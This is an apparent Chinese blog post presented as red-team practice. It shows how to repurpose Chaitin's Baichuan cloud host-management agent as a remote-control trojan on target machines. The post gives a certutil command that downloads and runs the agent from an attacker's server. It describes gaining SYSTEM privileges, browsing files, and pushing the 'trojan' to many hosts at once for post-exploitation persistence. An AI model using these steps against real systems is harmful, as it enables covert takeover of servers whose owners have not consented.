实战攻防演练-利用长亭百川云平台上线远控提权
前言长亭百川云平台是北京长亭未来科技有限公司旗下的 SaaS 产品服务平台，专注于云安全解决方案。其提供牧云·主机管理助手、网站监测、牧云·云原生安全平台、雷池 Web 应用防火墙等一系列在线安全产品，帮助企业用户更轻松地治理云安全问题，使云上业务更加安全可靠。在使用中发现该产品可以用于攻防对抗中实战，其生成的客户端可是远程上线，获取到服务器主机任意权限，最后会提升至系统权限，适用于后渗透权限提升维持。
实战演示
网站地址:https://rivers.chaitin.cn
在开始使用长亭百川云服务之前，需要先注册一个百川云账号。有账号后可以在百川云登录
https://img2023.cnblogs.com/blog/3281390/202310/3281390-20231024230318118-1775941712.png
选择进入工作台，选择牧云主机管理助手
https://img2023.cnblogs.com/blog/3281390/202310/3281390-20231024230330884-1217404623.png
其中这里区分三个版本，基础版，体验版，付费版，具体如下所示，掏钱的肯定比不掏好用，看个人情况选择。
https://img2023.cnblogs.com/blog/3281390/202310/3281390-20231024230346439-1272901230.png
Windows上线木马
这里如下所示，windows主机需要浏览器下载后，使用其他命令运行
https://img2023.cnblogs.com/blog/3281390/202310/3281390-20231024230517983-1133117035.png
这里首先下载木马文件后上传至自己的网站服务器，使用certutil命令下载执行
certutil -urlcache -split -f http://127.0.0.1/installer.exe c:\installer.exe && start installer.exe
或者直接上传目标服务器运行 start installer.exe
https://img2023.cnblogs.com/blog/3281390/202310/3281390-20231024230535869-1493298030.png
服务端就会上线
https://img2023.cnblogs.com/blog/3281390/202310/3281390-20231024230541975-1077461524.png
配置信息
这里可以对上线主机进行查看基础配置，和文件管理操作
https://img2023.cnblogs.com/blog/3281390/202310/3281390-20231024230554756-1023429708.png
https://img2023.cnblogs.com/blog/3281390/202310/3281390-20231024230600229-1981922377.png
权限提升
如下，我们使用Administrator权限上线执行，牧云管理助手直接获取到系统权限，省去权限提升步骤
https://img2023.cnblogs.com/blog/3281390/202310/3281390-20231024230609330-2017203470.png
Linux上线木马
配置入上一致，linux直接复制命令后，在目标主机执行，详细操作类似于windows操作
https://img2023.cnblogs.com/blog/3281390/202310/3281390-20231024230431212-797604860.png
https://img2023.cnblogs.com/blog/3281390/202310/3281390-20231024230643770-1455505584.png
https://img2023.cnblogs.com/blog/3281390/202310/3281390-20231024230653794-1733137868.png
详细配置
https://img2023.cnblogs.com/blog/3281390/202310/3281390-20231024230702501-197952453.png
其他功能
可以执行管理查看docker服务
https://img2023.cnblogs.com/blog/3281390/202310/3281390-20231024230717106-832782930.png
安全扫描功能可以检测主机漏洞风险，及常见漏洞等
https://img2023.cnblogs.com/blog/3281390/202310/3281390-20231024230727510-1231579704.png
应用市场可以下载各种软件
https://img2023.cnblogs.com/blog/3281390/202310/3281390-20231024230734353-1274899971.png
统一配置
推送命令模块可以对多主机群进行批量上线木马
https://img2023.cnblogs.com/blog/3281390/202310/3281390-20231024230746202-27426442.png
批量命令执行
https://img2023.cnblogs.com/blog/3281390/202310/3281390-20231024230752440-749387237.png
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！
页:
[1]